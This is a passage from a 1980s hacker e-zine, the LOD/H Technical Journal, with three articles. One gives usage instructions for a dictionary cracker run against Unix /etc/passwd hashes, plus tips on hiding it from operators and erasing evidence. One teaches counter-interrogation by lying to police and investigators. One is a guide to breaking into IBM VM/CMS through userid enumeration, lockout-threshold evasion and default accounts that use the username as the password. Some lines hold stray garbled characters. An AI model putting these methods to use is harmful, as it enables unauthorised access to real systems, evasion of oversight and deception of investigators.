to hack, and pwfile is the path of a text file that contains the pool of
likely passwords. Most sites will have a file of words for the 'spell'
spelling checker - it will probably be /usr/dict/words and contain at least
15,000 potential passwords.
Hpw starts by loading the user's encrypted password from /etc/password and
stores it in crbuf. It then starts reading words from the file you've
specified, encrypts them using the crypt() routine, and compares them to
the encrypted password. If they match, the program outputs a line like:
'shark ==> hispassword' and quits. If they don't match, it goes on to the
next potential password. If the program goes through the entire list and
doesn't find the correct password, it prints 'done -- password not found'
and quits. If you hit ^C (or BREAK, or whatever your interrupt character
is) the program tells you which word in the file it had gotten to when
it was interrupted and quits. Then, the next time you attempt to hack that
login name, you can start where you left off during the previous session.
The beauty of this program is that you can run it in background with the
output sent to a file and then log off, or play rogue, or whatever. To
hack melody's password using /usr/dict/words as your pool file, and to
have all messages generated by the program sent to a file called 'out.file'
and run the program in background, you'd enter from csh:
% hpw melody /usr/dict/words > out.file &
the & signifies a background process. The system will print something like:
[1] 90125
this means it's job number 1 for you, and has process id 90125. To bring
the program back into the foreground, enter:
% %1
and to kill the process, type
% kill 90125
if you have hpw running in background and you're in csh, you can just log off
and the program will continue to silently gather passwords. If you're under
the sh shell, you'll need to run the program with 'nohup' (read the man
entry for more info) or sh will kill the process when you log out.
Anyway, after you've given the program sufficient time to go through the
list (more on this in a second), log in again. If the output file exists,
the program has completed its job. Otherwise use 'ps' to see if the program
is still running. cat the file and you'll see something like this:
hacking melody
encrypted password : K4h7iidD1vX0a
melody ==> joshua (or 'done -- password not found')
make a note of melody's password, rm the incriminating output file, and
move on to the next login name. Easy, huh?
Now for the bad news: The designers of Unix weren't stupid. They
deliberately designed the crypt() routine so that it's unique (it's a minor
deviation of the DES, so you can't use a fast DES-busting program to attack
the /etc/passwd file). This program uses the fastest possible method of
brute-force hacking Unix passwords, but it isn't too speedy itself. I wrote
the program on a Pyramid 90x, which is a 32-bit multi-processor
RISC-architecture machine. When running this program in foreground while I was
the only user on the system, it averaged 2 seconds per try. You can expect
this performance on one of the better VAXen. If you're on a Cray (sure...) it
might take the program 1/8 second per hack. If you're on an AT running XENIX
or a PDP-11/44, expect 5 seconds per try. (I really don't know how long it
would take, why don't some people time it and give me feedback...I'd appreciate
it.)
Realistically, if you're using the system's spelling-checker word list that
contains 20,000 words and you're running the program in background, give
it at least 12 hours. If you have a system operator who likes to keep
track of people's long-running jobs, tell them via mail that you'll be
computing the limit of 1/x to infinity or something like that and they'll
leave the process alone. If you have your own file of 100 probable passwords
(such as 'joshua,' 'secret' or the person's name) it will take 10 minutes
or so to complete. Sensible selection of potential passwords (most UNIX
systems don't allow passwords of less than 5 characters; attempt to change
your password to progressively shorter and shorter words until you find out
what your system's minimum length is) and running the program at strategic
times (like after midnight) will cut the time down.
Hackers who know 'C' (and everybody should know C by now; it's the best
language ever designed) will want to modify the program I've presented.
You may want to 'hard code' the username to be hacked and the pwfile path;
'progname root word.file' on a process table might look a LITTLE suspicious
to snoopy system operators (and it goes without saying that you shouldn't
call the program 'hack' or 'hpw', nor leave the source unencrypted in your
directory). Also, since the crypt() routine is universal, you can hard-code
the 'crbuf' variable with the encrypted password (from /etc/passwords)
of a user on another system! When hardcoding a password, make sure you spell
it correctly, and that it contains exactly 13 characters of upper & lower case,
and/or numbers. I once successfully hacked the root account of an AT&T Micro in
Michigan on my local Pyramid 90x. Thus I didn't need to take up space on the
guy's file system with the source and didn't have to run the program on his
slow system - once I obtained the 6300's /etc/passwd file from the person who
hacked into the system, I attacked it at my local site. If you happen to have
a system of your own that runs Unix, you can hack any system's root account at
home, completely risk-free.
Unix is the best operating system I've ever used. It's immensely powerful;
as demonstrated by the program above, it's easy to make the system work for
you. If you have any questions, comments, criticisms, threats, etc, get in
touch with me - my primary goal is not to prove that I'm more of a Unix Wizard
than the other guy, but rather to do my part in the ongoing crusade to make
forbidden information available to the people who can use it.
'Knowledge is Power,' as the saying goes.
-- Shark.
(>---------------------------------------------------------------------------<)
The LOD/H Technical Journal: File #7 of 12
Intelligence and Interrogation Processes
By: Master Of Impact and the Legion Of Hackers
INTRODUCTION:
=============
Doing what we do best always carries the risk of someone, somewhere, wanting
to hold you for questioning. In this article I hope to give those persons who
never have been exposed to this type of thing a little insight to the methods
that are in use (and are in no ways happen to be all new), that can give you
the edge you need to come away "sin faulta". In fact, these interrogation
practicies are used a lot by teachers, local police, the FBI and Secret Service
girlfriends, wives, parents, etc. to obtain information from you that you
probably don't want to give out.
Interrogation is the art of questioning and examining a source in order to
obtain the maximum amount of useful information. The goal of any interrogation
is to obtain useful and reliable information in a lawful manner and in a
minimum amount of time. The goal of any source is to deceive or hinder any
attempts of the interrogator to get information out of him.
This article will deal primarily with the principles, techniques, and
procedures of intelligence interrogation. By reading this article, one
who runs the risk of being interrogated can build countermeasures for common
interrogation techniques. This article has some paraphrased material from a
government interrogation manual but the majority of the information was from
personal experience and prior knowledge of the subject.
You cannot hope to defeat interrogation techniques unless you first know
what they are. The ones listed herein are the most commonly used. After reading
this article, you should be able to tell when you are being interrogated by
people, and what technique(s) they are using when you probably would not have
known before. Once you know what they are up to and how they are going to TRY
to accomplish it, YOU have the initiative!
INITIATIVE:
===========
Achieving and maintaining the initiative is essential to a successful
interrogation just as offense is the key to success in combat oPe`#K=9"+v
initiative in any interrogation must rest with the interrogator throughout the
entire interrogation. He will have certain advantages at the beginning of an
interrogation which will enable him to grasp the initiative and assist in
maintaining the initiative throughout the interrogation.
The interrogator has a position of authority over you. You realize this
fact, and in some cases, believe that your future might well depend upon your
association with the interrogator. As in the case of police questioning,
"cooperate and we will go easy on you". Like hell they will.
The interrogator knows the purpose of the interrogation; the source does
not necessarily know the exact reason, but can generally assume (especially
in the case of a computer hacker or phone phreak, which is what the term
"source" will be referring to during this article) because he or she is most
usually conscious of horrible and nasty wrong-doings he or she may have been
responsible for. Unfortunately for the source, he is generally very much in
the dark about what's happening to his life while it is, in fact, crumbling
around him (temporarily, anyway). This gives the source a not-so-illusionary
behavior pattern of the proverbial chicken who's had its head chopped off.
Having gained the initial advantage which is quite an understatement,
seeing that, although the risks to the source during the perpetration of
a crime are quite obvious, the possible realistic results of being caught
aren't quite as impressive while one is getting away with a crime than when
one's home is invaded by the JC Penny-suit men wearing mirrored sunglasses,
the interrogator must strive to maintain the initiative applying appropriate
interrogation techniques through the exercise of self-control; by taking
advantage of the source's weaknesses as they become apparent; and by
continuously displaying an attitude of confidence and self-assurance. The
interrogator, however, is 'supposed' to never take advantage of your weaknesses
to the extent that the interrogation involves threats, insults, torture
or exposure to unpleasant or inhumane treatment of any kind. Remember, the
keyword is supposed.
It is possible for the interrogator to lose the initiative during the
interrogation of a source. If this should occur, he will probably postpone the
interrogation and reassess the situation. If the interrogation is resumed, a
different interrogator will probably be introduced. Following are some examples
of loss of initiative:
* The interrogator becomes angry and completely loses his self-control because
of the arrogant actions of the source (such as the unbuttoning of a jacket
to reveal "Secret Service Sucks" spray painted onto the source's T-shirt.)
As a result, the interrogator loses sight of his objective and concentrates
his efforts on humbling the source.
* During the interrogation the interrogator fails to note significant
discrepancies in the source's story. The interrogator may lose his initiative
as the source gains confidence from his success and resorts to further
deception, leading the interrogator away from his objective.
* The interrogator becomes overly friendly with the source and allows him to
lead the interrogation. The source reports only what he believes to be
important and neglects several significant items of info which could have
been obtained had the interrogator maintained the initiative.
PHASES OF INTERROGATION:
========================
Approach Phase:
---------------
Regardless of the type of source you are and your outward personality, you
do possess weaknesses which, if recognized by the interrogator, can be
exploited. A human being is likely to:
o Talk, especially after harrowing experiences
o Show deference when confronted by superior authority
o Rationalize acts about which he feels guilty
o Lack the ability to apply or to remember lessons he may have been
taught regarding security if confronted with a disorganized or a
strange situation.
o Cooperate with those who have control over him
o Attach less importance to a topic which the interrogator demonstrates
identical or related experiences and knowledge
o Appreciate flattery and exoneration from guilt
o Cooperate readily when given material rewards
o Cooperate readily when treated as an equal
TECHNIQUES:
===========
"File and Dossier"
----------------
The interrogator prepares a dossier containing all available info obtained
from records and docs concerning you. Careful arrangement of the material with-
in the file may give the illusion that it contains more data than is actually
there. The file may be "padded" with extra paper, if necessary. Index tabs with
titles such as "education", "employment", "criminal record", "bulletin boards",
"violated computer systems", and others are particularly effective for this
purpose. The interrogtor will confront you with the dossier at the beginning of
the interrogation and explain that "intelligence" has provided a complete
record of every significant happening in your life; therefore, it would
be useless to resist interrogation. The interrogator may read a few selected
bits of known data to further impress you. If the technique is successful, you
will be impressed with and more importantly, terrified by the "voluminous"
file, conclude that everything is known, and resign to complete cooperation.
"We know ALL"
-----------
This technique may be employed in conjunction with the above or by itself.
The interrogator must first become thoroughly familiar with the available data
concerning you. To begin the interrogation, the interrogator asks questions
based on his known data. When you hesitate, refuse to answer, or provide an
incomplete or incorrect reply, the interrogator himself provides the detailed
answer. Through the careful use of the limited number of known details, the
interrogator may convince you that all the info is already known; therefore,
your answers to the questions are of no consequence. When you begin to give
accurate and complete information, the interrogator interjects questions
designed to gain the needed info. Questions to which answers are already known
are also asked to test you and to maintain the deception that all the info is
already known. A VERY effective technique I might add.
"Rapid Fire"
----------
This approach technique involves a psychological ploy based on the principles
that:
* Everyone likes to be heard when they speak; and
* It is confusing to be interrupted in mid-sentence with an unrelated
question.
This technique may be used with one, or simultaneously by two or more
interrogators in questioning the same source. In employing this technique the
interrogator asks a series of questions in such a manner that you do not have
time to answer a question completely before the next question is asked. This
tends to confuse you and you are apt to contradict yourself, as you have little
time to prepare your answers. The interrogator then confronts you with the
inconsistencies, causing further contradictions. In many instances you
will begin to talk freely in an attempt to explain yourself and deny the
inconsistencies pointed out by the interrogator. In attempting to explain your
answers, you are likely to reveal more than you intend, thus creating
additional leads for the interrogator.
"Mutt and Jeff"
-------------
This technique involves a psychological ploy which takes advantage of the
natural uncertainty and guilt which a source has as a result of being detained
and questioned. Use of this technique necessitates the employment of two
experienced interrogators who are convincing as actors. Basically, the two
interrogators will display opposing personalities and attitudes towards you.
For example the first interrogator is very formal and displays an unsympathetic
attitude. This is to make you feel cut off from your friends. At the time when
you act hopeless and alone, the second interrogator appears (having received
his cue by a signal, and is hidden from you), scolds the first interrogator for
his harsh behavior and orders him from the room. He then apologizes to soothe
you, perhaps offering coffee and a cigarette. He explains that the actions of
the first interrogator were largely the result of an inferior intellect and
lack of human sensitivity. The inference is created that the other interrogator
and you have in common a high degree of intelligence and an awareness of human
sensitivity, above and beyond that of the first interrogator. You are normally
inclined to have a feeling of gratitude towards the second interrogator, who
continues to show a sympathetic attitude in an effort to increase the rapport
and control for the questioning which will follow. Should your cooperativeness
begin to fade, the second interrogator can hint that since he is of high rank,
having many other duties, he cannot afford to waste time on an uncooperative
source. He may broadly infer that the first interrogator might return to
continue the questioning. When used against the proper source, this trick will
normally gain complete cooperation for the interrogation.
"Repetition"
----------
Repetition is used to induce cooperation from a hostile source. The inter-
rogator listens carefully to your answer to a question, and then repeats both
the question and answer several times. He does this with each succeeding
question until you become so bored with the procedure that you answer the
question fully and truthfully to satisfy the interrogator and to gain relief
from the monotony of this method of questioning. The repetition technique will
Y{Od ='fbgenerally not work when employed against introverted sources or those having
great self control.
"Pride and Ego"
-------------
This technique works effectively on many phreaks and hackers due to the fact
that many are so damn egotistical. The strategy is to trick you into revealing
desired information by flattering you. It is effective with sources who have
displayed weaknesses or feelings of inferiority. The interrogator accuses you
of weakness or implies that you are unable to do a certain thing. The proud or
egotistical source will jump to the defensive. An example of an opening
question for this technique may be: "Why would you own a blue box when you
have absolutely no idea how to use one?" or, "Why do you hack VMS systems if
you can't do a damn thing once you're inside of one?" It provides you with the
opportunity to show someone that you have "brains" and in doing so, you give
the interrogator more information than you should have.
"Silent"
------
The Silent technique may be successful when used against either the nervous,
or the confident-type source. When employing this technique, the interrogator
says nothing to you, but looks you squarely in the eye, probably with a slight
smile on his face. It is important for the interrogator not to look away from
you, but force you to break eye contact first. You will become nervous, begin
to shift around in your chair, and look away. If you ask questions the
interrogator probably will not answer them until he is ready to break the
silence. A source may blurt out questions such as, "What the hell do you want
with me". When the interrogator is ready to break the silence, he may do so
with some quite nonchalant questions such as, "You've been logging on to our
system for a long time now, haven't you? Did you hack the passwords yourself?".
In some cases the interrogator will use several approach techniques
concurrently, or in succession.
QUESTIONS:
==========
There are various questions that the interrogator may ask you:
* Prepared questions: When the topic under inquiry is very technical or when
legal aspects of the interrogation require preciseness, the interrogator will
have a list of prepared questions to follow during the interrogation.
* Control questions: To maintain control and to check on the truthfulness of
a source, the normal questions will be mixed with control questions-those
with known answers. If you fail to answer these questions, or answer wrong,
it will indicate that you are either not knowledgeable in the topic or that
you are lying.
* Nonpertinent questions: Sometimes it is necessary for the interrogator to
keep the true objective of the interrogation from you. By carefully blending
pertinent questions with nonpertinent questions, the interrogator can conceal
the true purpose of the inquiry.
* Direct and leading questions: The manner in which the questions are worded
has a direct bearing on your response. A question may be posed in a number
of ways:
o "What system did you hack into on 11/11/86?"
o "Did you break into General Dynamics' computer on 11/11/86?"
o "You did break into GD's computer on 11/11/86?"
o "You didn't break into GD'S computer on 11/11/86, did you?"
PSYCHOLOGY IN INTERROGATION:
============================
The interrogator will watch for various psychological responses from you during
an interrogation. Some of these are:
* Rationalization: Creating plausible excuses or explanations for one's acts
without being aware that these excuses or explanations are way off the
[obvious] reality.
* Identification: To identify with and mimic a mental image of some one
important to you.
* Compensation: Trying to make up for a psychological weakness by building
up or exaggerating a psychological strength.
* Exhibitionism: Showing off, bragging, etc.
* Fear, Anger, Frustration, etc.
Of course when being interrogated, you should remain as emotionless as possible
and never show anger, or get upset (NEVER inflict physical abuse upon the
unsuspecting interrogator. This only creates tension between both the inter-
rogator and yourself). Your every move, every response, every action is noted
and used by the interrogator to get you to screw up and give him what he wants.
There can be two main objectives that you can obtain when being interrogated.
The first is to find ways to force the interrogator to lose his initiative. You
can do this in many ways. A few that come to mind are: Repeat everything the
interrogator says. Mimic the interrogator. Laugh at the interrogator. Basically
piss the interrogator off and make him so mad that he loses sight of his
objective. This may however, get you in deeper trouble, but it may give you
extra time while another interrogator is found.
Lie like hell to the interrogator and piss him off. Such as the pathological
liar gimmick: "I broke into the NSA's computer, yeah, and then used their
network to get into the presidents private computer yeah that's it, the
password was uh...Bonzo, yeah, and then used it to take control of a satellite
used for Star Wars, and made it land right on top of the Kremlin, yeah that's
the ticket!"
You can also change the subject over and over again to totally unrelated things
such as: its a nice day out today, hows the wife and kids, how about some food,
who do you think is going to the superbowl, etc.
The other and probably better objective is simply to pretend to fall for any of
the various techniques used against you and feed the interrogator more and more
bullshit, of course being very sincere. This way he gets totally bogus
information while thinking you are cooperating fully.
Well, I hope you never have to put this article to use in a legal manner, but
you would be surprised how everyday you are interrogated without even
realizing it by normal people who probably don't realize they are interrogating
you!
As stated in the other articles, you can reach me for comment via the staff
account.
MofI (LOH)
The LOD/H Technical Journal: File #8 of 10
Lex Luthor
and
The Legion Of Hackers
Present:
Hacking IBM's VM/CMS Operating System
Part A
INTRODUCTION:
-------------
IBM mainframes make up over 50% of the mainframes used in the United
States. These systems are traditionally used in industries such as insurance,
banking, universities and so on. For some reason, IBM systems as a whole have
not been very popular with hackers. This may be due to the complexity of the
Operating Systems run on IBM systems compared to others such as UNIX or VMS.
Another reason may be that there is much variety from shop to shop. IBM systems
are more commonly modified and customized to fit an individual corporations
need and the lack of "universality" for commands, files, programs and other
procedures makes it difficult to attempt to use without any type of specific
documentation. The lack of detailed on-line help also hinders the hacker. I
believe that the VM/CMS Operating System is by far the best and easily learned
of the IBM systems. But compared to other Operating Systems like UNIX or VMS,
VM/CMS is cumbersome and harder to learn.
ACRONYMS:
---------
Before I even attempt to start this article, I will list the IBM-specific
acronyms used in this article and some others that you may find on various IBM
systems. I list them here so I will not have to do it throughout this article.
If you don't know what one of them means later, just refer back to this list.
VM/SP: Virtual Machine/System Product
CP: Control Program
CMS: Conversational Monitoring System
HPO: High Performance Option
VSE: Virtual Storage Extended
MVS: Multiple Virutal Storage
TSO: Time Sharing Option
JES: Job Entry System
CICS: Customer Information Control System
VSAM: Virtual Storage Access Method
VTAM: Virtual Telecommunications Access Method
IX: Interactive Executive
IPL: Initial Program Load
IVP: Istallation Verification Program
RSCS: Remote Spooling Communications Subsystem
DASD: Direct Access Storage Device
EREP: Environmental Recording Editing and Printing
SNA: Systems Network Architecture
NCCF: Network Communications Control Facility
REXX: Restructured Extended Executer Language
VTOC: Volume Table Of Contents
DOCS: Display Operator Console System
JCL: Job Control Language
ACF: Advanced Communications Functions
SQL/DS: Structured Query Language/Data System
DBA: Data Base Administrator
GCS: Group Control System
SCP: System Control Program
FDP: Field Development Program
CNA: Communications Network Application
POF: Programmable Operator Facility
PSW: Program Status Word
SSCP: Subsystem Services Control Point
IPCS: Interactive Problem Control System
DCSS: Discontiguous Shared Segments
VMCF: Virtual Machine Communications Facility
FIFO: First In First Out
LIFO: Last In First Out
AP: Attached Processor
MP: Multi-Processor
R/O: Read/Only
R/W: Read/Write
LOGGING IN:
-----------
Typically, when you come across a CMS system, it will respond with:
VM/370 ONLINE
!
.
This message is somewhat of a contradiction. The majority of VM/CMS systems are
rarely run on actual 370 systems but on other processors, such as the 43XX
series and the 30XX series.
The period "." prompt is the surest way of verifying that you have indeed
connected to a VM/CMS system, aside from the "VM/370 ONLINE" message which is
usually printed. This prompt should not be confused with DEC's TOPS-10 system,
which also has the prompt of a period. The older versions of VM/CMS responded
as shown above. The newer versions will give you this menu:
Enter one of the following commands:
LOGON userid (Example: LOGON VMUSER1)
DIAL userid (Example: DIAL VMUSER2)
MSG userid message (Example: MSG VMUSER3 GOOD MORNING)
LOGOFF
This menu may vary from system to system, since they may opt to not allow a
command to be used before logging in and will omit it from the menu or they may
add some commands. When hacking a system this menu will appear before you can
attempt to login, thus becoming very tedious and time consuming especially at
300 baud as you have to wait an eternity for each logon attempt.
Other responses after connecting are "Ready to Host", "Press break key to begin
session" and "Invalid Switch Characters". The last response is commonly found
on Telenet and other packet switched networks, in which you may have to specify
"VM" for a VM/CMS system, or "TSO" for a MVS/TSO system. There may be other IBM
systems to select from, or "VM" may not be a valid system. You may also have to
specify "LOGON VM" or just "LOGON" before the port selector connects you to the
host system.
LOGON can be abbreviated as just "L". A userid can be from 1-8 characters in
length, but the first character MUST be a letter (In most systems you come
across this will be true, but due to customization of systems, its possible
this and even the 8 character password limit may be extended). A typical logon
may look like:
.L COMOSOLO SYSGUESS NOIPL
"." is the system prompt, L is the LOGON command, COMOSOLO is the userid,
SYSGUESS is the password, and NOIPL is the only 'login qualifier' allowed for
the VM/CMS system. NOIPL specifies that the IPL name or device in the VM/SP
directory should not be used for an automatic IPL. IPL simulates the LOAD
button and the device address switches on the real computer console. Basically
it "boots" your part of the CMS system. This is another different concept. A
user can boot (or crash) their part of the system not the whole system (in most
cases). NOIPL would be used when a system dumps you into a program which allows
you little or no mobility such as a restricted menu of options (IE: A system
backup utility) and logs you off without gaining access to CMS. NOIPL will
prevent this program from running if it is listed in your automatic IPL entry
within the CP directory. This should allow you access to the system. Otherwise
the program was specified to run within your PROFILE EXEC which lists things to
be done upon logon. NOIPL is somewhat similar but not identical to the login
qualifier "/NOCOMMAND" for DEC's VAX/VMS systems.
If the Password Suppression Facility is installed on the system, you will
receive an invalid format message whenever the userid and password are entered
on the same line. This is obviously a security measure to prevent users from
entering their password in full view of anyone who may be watching as the
password is not "masked". Thus, you will have to enter your password on a
separate line when the system prompts you for it. The advantage of entering the
userid and password on one line (especially at 300 baud) is that you can try
more userids and passwords in a shorter period of time while still availing
yourself to the systems generousness of informing you when an invalid userid
has been entered.
Error messages:
There are various error messages one may encounter while logging into a VM/CMS
system. The ones you should be most concerned about are:
"Userid not in CP directory": When an invalid userid has been entered, you will
receive this message. This indication gives the hacker a distinct advantage for
gaining entry to the system. Probably the largest security hole for any system
is to tell you when a valid username has been entered. After all, obtaining a
valid userid is half the battle. The other half is obtaining a valid password.
Even the weakest Operating Systems no longer give an indication of when a valid
ID has been entered. Why IBM has not changed this is a mystery to me.
When a valid userid is entered you will be asked to enter a password if you did
not already do so. If the password is correct, the system will attempt to log
you on, if not, you will receive one of two messages:
"Logon unsuccessful--incorrect password": As has just been stated, a valid
userid has been entered but the password was incorrect. Passwords can be from
1-8 characters long, but in many cases the minimum length is changed to be at
least three characters. There is no difference between upper and lower case
letters for either the userid or password as they are converted to upper case
by the system which is another security flaw as it reduces password
possiblities.
"Password incorrect - reinitiate logon procedure": This is the message received
on the older versions of VM/CMS, which means the same thing as the above msg.
"Maximum password attempts exceeded, try again later": The threshold has been
reached for userid and/or password attempts. You will receive this message
every time you attempt to logon after exceeding the threshold until a variable
p
eriod of time (Probably from 1 to 5 minutes) has elapsed. This locks out ALL
users who attempt to login to the system from that particuler line. I am not
sure whether this is recorded anywhere or whether it is sent to the System
Console so try to determine how many attempts normally trigger this and keep
just short of it.
"Already logged on": This message will appear when you attempt to logon with a
valid userid and password and that userid is already online. Unlike other
systems, VM/CMS will not allow the same userid to be logged on more than once.
"Userid missing or invalid": As it implies, nothing was typed after entering
the LOGON command, or the format for the userid was not correct, ie: using a
number as the first character or a control character was used somewhere in the
userid field.
"Error in CP directory": The CP directory is the main user directory for the
system. Entries in the directory contain: the userid and password, VM I/O
configuration, disk usage values, associated virtual and real addresses,
privilege classes, virtual processor size, and other options for each user.
Without the proper directory entry, a user cannot logon to the system.
Therefore receiving this error message.
"Command not valid before logon": This occurs when you enter anything other
than the commands listed in the menu, ie: entering BONEHEAD will return this
message even though "BONEHEAD" isn't a valid command. Why this is I don't know.
So don't get all excited that you found a valid command but couldn't execute it
since you weren't logged on.
Accounts:
By constantly compiling userids from various systems you should be able to
collect a nice list of accounts which may enable you to gain access to a
system. The following are a few which I have found:
OPERATOR
CMSBATCH
AUTOLOG1
OPERATNS
VMTEST
VMUTIL
MAINT
SMART
VTAM
EREP
RSCS
CMS
SNA
As usual, use the username as the password. Things still haven't changed from
the Hacking VAX/VMS series...people are just as stupid as they were a few years
ago.
There are many default accounts which have the passwords listed in some IBM
system manuals. These are hard to obtain and are very powerful since some
passwords are rarely changed. If you can get access to the defaults, it will
greatly expand your collection of systems, I guarantee it.
Dial:
DIAL is used to logically connect lines, whether they be switched (regular
dial-up phone lines), leased (dedicated), or logically attached (directly
connected), to a previously logged on multiple-access system. The DIAL command
is the only substitute for the logon command. On systems running more than one
Operating System, DIAL is used to connect the user to one of those systems.
It is rather common to find two or more Operating Systems running parallel or
"under" one another. This is quite different from most other systems, which run
alone on the machine. One machine, one Operating System, but not IBM. The
ability to have multiple systems running simultaneously and still providing the
user with the illusion of it being a single system, (ie: the whole idea behind
multi-tasking machines is to provide each user with the full resources of the
machine so quickly that it appears that he or she is the only one using the
system) sets IBM apart from most other computer manufacturers. Some of the
systems which run on IBM's are: VM/CMS, MVS/TSO, DOS/VSE, OS/VS1. Some others
are: MUSIC, JES and IX/370 which is IBM's version of UNIX which runs under
VM/SP.
It is always good to know what other systems are running, and if you are unable
to gain access to the 'primary' system, you may be able to gain access to one
of the 'secondary' system(s) by use of DIAL. Some systems will require you to
specify a line number for certain systems. Others will find a line for you if
one is not specified, assuming there are some allocated to that resource.
Userid's are also dialable. In some cases you have to dial through a particular
userid in order to gain access to certain systems or perform certain commands.
A typical logon to a DIALed system may look like:
.DIAL MUSICB
DIALED TO MUSICB 040
*Miscellaneous Computer Services MUSIC/SP 1.1 SIGN ON.
.RESET
DROP FROM MUSICB 040
VM/370
!
.
When it comes to finding a valid line number for systems that can be reached
via DIAL, you could be in for some trouble. If the system requires a line
number to be entered (unlike the above example, where line 040 was found
automatically) you will not only have to come up with a defined line number,
but one that is associated with the system you are attempting to access.
Usually you can find this information after logging on to the VM/CMS system in
various files, but if you cannot get in, you will have to sequentially enter
line numbers. Some that I have seen are 001, 01B, 41A, 040.
The VM/CMS system does not appear to limit the number of DIAL attempts a user
can make, unlike LOGON attempts. Programming your micro to search for a valid
line number to a system should work with no problem.
To drop the dialed connection just type RESET.
Error Messages:
"Line(s) not available on 'sysname'.": Either there are no lines allocated to
the system, or you must enter a correct line number.
"Invalid device type - 'sysname' 'line#': You have entered a valid system or
userid and line number, but the device you are on (the terminal) is invalid. In
this case, a GRAF (Graphics) device, system console or 3270 terminal may be the
only valid device.
"'userid' not logged on": The DIAL command cannot be executed unless the user
(or system) specified is logged on.
"'line#' does not exist": A valid userid/system has been entered but the line
number for that userid/system is not valid.
Message:
MSG is used to send messages to users who are currently logged on. This command
can be issued before (if specified by the logon menu) and after logging in.
MSG OPERATOR Help! I lost my password! My userid is COMOSOLO
This will send a message to the primary system operator of the system. If there
is only one CLASS A user online, the message will be sent to his terminal.
MSG *
This will send a message to yourself. This is useful for identifying the
current userid of an abandoned terminal.
Logoff:
The LOGOFF command can be abbreviated as LOG. After logging off you will
receive the following:
CONNECT= 00:33:54 VIRTCPU= 000:00.28 TOTCPU= 000:01.76
LOGOFF AT 17:05:44 EST THURSDAY 04/16/87
CONNECT is the actual clock time you spent while on the system.
VIRTCPU is the virtual CPU time that was used.
TOTCPU is the total CPU time both virtual and overhead that was used.
The HOLD command will hold the connection allowing you to re-logon again
without having to re-dial the system.
.LOG HOLD
SECURITY SOFTWARE:
------------------
There are various weaknesses within VM/CMS both internally and externally which
can be exploited. For this reason, various software security packages have been
written. There would not be a need for these in most cases if the people in
charge of system security knew what they were doing. Anyhow, these packages do
provide added security when properly implemented. The most commonly found are
VMSECURE and ACF2. TOP SECRET and RACF are others which are less common. These
packages are easily identified.
After entering a valid userid VMSECURE responds with:
VMXACI104R Enter logon password:
**************************
HHHHHHHHHHHHHHHHHHHHHHHHHH
SSSSSSSSSSSSSSSSSSSSSSSSSS
.
One way to positively identify the use of VMSECURE is by using it as a userid.
If it is running it will be a valid userid, and who knows, you may even hack
the password.
After entering a bad password ACF2 (Access Control Faclity 2) responds with:
ACFV1012 PASSWORD NOT MATCHED
ACFV0044 ACF2, ENTER PASSWORD
**************************
HHHHHHHHHHHHHHHHHHHHHHHHHH
SSSSSSSSSSSSSSSSSSSSSSSSSS
.
These packages provide information which SHOULD be inherent within the
Operating System itself. Perhaps newer versions of CMS will contain them. Some
of these features are:
* Last logon date/time
* Password expiration
* Rules for password selection
* Invalidating userids for invalid password attempts
* Invalidating terminals for invalid password attempts
* Shows users how many invalid password attempts have occured on their userid
* Increased file security
LOGGED ON:
----------
After logging on you may receive something similar to the following:
ASD 190 LINKED R/O; R/W BY MAINT; R/O BY 030 USERS
LOGMSG - 10:40:25 EST FRIDAY 05/22/87
*********************************************************************
* WELCOME TO MISCELLANEOUS COMPUTER SERVICES *
* -VM1- *
* SYSTEM WILL BE DOWN FROM 10:00 TO 10:30 EST SUNDAY MAY 24, 1987 *
*********************************************************************
Logon at 13:22:59 EST FRIDAY 05/22/87
VM/SP REL 4 04/20/86 11:33
R; T=0.01/0.01 13:23:10
.
Line #1: This line shows that the disk at virtual address 190 is linked with
R/O access by you, R/W by userid MAINT and R/O by another 30 users.
Line #2: This shows that the logon message was created at 10:40 on Friday.
Line #3-7:This is the message that is shown to all users of the system upon
logging on. Some systems may not have one.
Line #8: The actual time of logon is printed.
Line #9: The current RELEASE of VM/SP and the time and date it was installed
is shown.
Line #10: This is the ready message and it is printed after every command is
performed where:
R= Ready This indicates that the system is ready for input.
T= Time The first series of numbers tells how long it took the system to
perform the last task. The second set of numbers gives the time of
day.
If you do not receive the ready message you are in CP and must IPL
CMS in order to issue CMS commands.
Line #11: The system prompt, you can now enter commands.
PRIVILEGE CLASSES:
------------------
As with most other Operating Systems a user must have sufficient privileges in
order to execute certain commands. Every CP command belongs to one of eight IBM
defined privilege classes. The CP directory defines which users can use which
classes of commands. Each user has one or more privilege classes, as does each
CP command. If you try to issue a command that does not match the assigned
privilege class of the userid you are using, the system will not process the
command. As far as I know, no records of attempts to use privileged commands
are kept.
Class User and Function
---------------------------------
A Primary System Operator: The class A user has the ability to
control the system. Any user who uses the VM/SP system console
posseses this privilege class. This user can broadcast messages,
control system accounting, and issue commands which affect the
overall performance of the system.
B System Resource Operator: The class B user has the ability to
control all the "real" resources of the system, except those
controlled by the spooling and primary system operators.
C System Programmer: Class C users can modify real storage as
opposed to virtual storage.
D Spooling Operator: The class D user controls spooling data
files.
E System Analyst: Monitors and interprets system performance data.
F Service Representative: This class is usually given to accounts
that IBM Field Service personnel use for updates and also for
diagnosing system problems.
G General User: Class G users are the most prominent on the
system. This privilege allows the user to control functions
associated with their own virtual machine.
Any The Any classification is given to certain CP commands which are
available to any user. The commands are usually limited to Login
and Logoff.
H Class H is reserved for IBM use.
Due to the individual needs of a site, privilege classes can be tailored to
suit the facility. A total of up to 32 classes can be made. They would be
shown in the CP directory as A-Z and 1-6.
Typical Privilege Classes for a few common userids:
Userid: P.C.
-------------------------
OPERATOR A
EREP F
OPERATNS BCEG
MAINT ABCDEFG
COMMANDS:
---------
Commands are made up of command names, operands, and options.
Command Name: A command name is an alphanumeric symbol of up to 8 characters.
Operands: These specify the information on which the system operates when it
performs a command function.
Options: These keywords are used to control the execution of a command. When
used, they must be preceded by a left parentheses, but a closing one is not
necessary.
Different commands are used within different environments. To see which
environment you are in, simply hit return at the period prompt. You will
receive one of the following: CMS, CP, XEDIT.
There are many commands that are useful to both regular system users and
hackers. HELP is available on some systems, particularly on university systems.
It is extensive but not as clear as yes, UNIX or VMS which is typical of IBM.
Nevertheless, HELP is useful and you should get hardcopies of as many commands
as you can. AID is another form of HELP which may be useful to you in learning
more about the system.
One nice feature of CMS HELP is that when you receive an error message, you
can:
.HELP DMS000000 or DMK000000
Where DMS000000 or DMK000000 is the error message you have received. The system
will then explain what it is, why it happened and how you can correct it.
I am going to hold off on explaining any and all commands related to minidisks
until the next section. The others which I have found to be useful are as
follows.
You can issue any CP command while in CMS by precluding the command with CP.
QUERY
